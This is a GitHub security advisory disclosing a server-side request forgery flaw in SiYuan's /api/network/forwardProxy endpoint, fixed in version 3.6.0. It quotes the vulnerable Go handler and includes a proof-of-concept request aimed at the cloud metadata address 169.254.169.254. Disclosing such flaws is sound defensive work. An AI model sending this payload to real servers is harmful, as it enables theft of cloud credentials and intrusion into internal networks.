GitHub Advisoryadvisory · Go

GHSA-56cv-c5p2-j2wg SiYuan has a Full-Read SSRF via /api/network/forwardProxy

HIGH Published 2026-03-12 Modified 2026-03-12 Official page ↗
Aliases
CVE-2026-32110
Ecosystem
Go
Packages
github.com/siyuan-note/siyuan/kernel
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Weaknesses
CWE-918
Reviewed
2026-03-12

Affected packages

• Go github.com/siyuan-note/siyuan/kernel: < 3.6.0 → fixed in 3.6.0

Description

Summary The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services. Affected Code File: `/kernel/api/network.go` (Lines `153-317`) ``` func forwardProxy(c *gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret) arg, ok := util.JsonArg(c, ret) if !ok { return } destURL := arg["url"].(string) // VULNERABILITY: Only validates URL format, not destination if _, e := url.ParseRequestURI(destURL); nil != e { ret.Code = -1 ret.Msg = "invalid [url]" return } // ... HTTP request is made to user-controlled URL ... resp, err := request.Send(method, destURL) // Full response body is returned to the user bodyData, err := io.ReadAll(resp.Body) // ... ret.Data = data // Contains full response body } ``` PoC • First, authenticate with your access auth code and copy the authenticated cookie. • Now use the request below for SSRF to Access Cloud Metadata. ``` POST /api/network/forwardProxy HTTP/1.1 Host: Cookie: siyuan= Content-Length: 102 {"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}' ``` Impact • Internal Network Reconnaissance: Attackers can scan internal services • Cloud Credential Theft: Potential access to cloud metadata and IAM credentials • Data Exfiltration: Server can be used as a proxy to access internal resources • Firewall Bypass: Requests originate from trusted internal IP

Related

Alias · CVE (1)

  • CVE-2026-32110 SiYuan is a personal knowledge management system. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References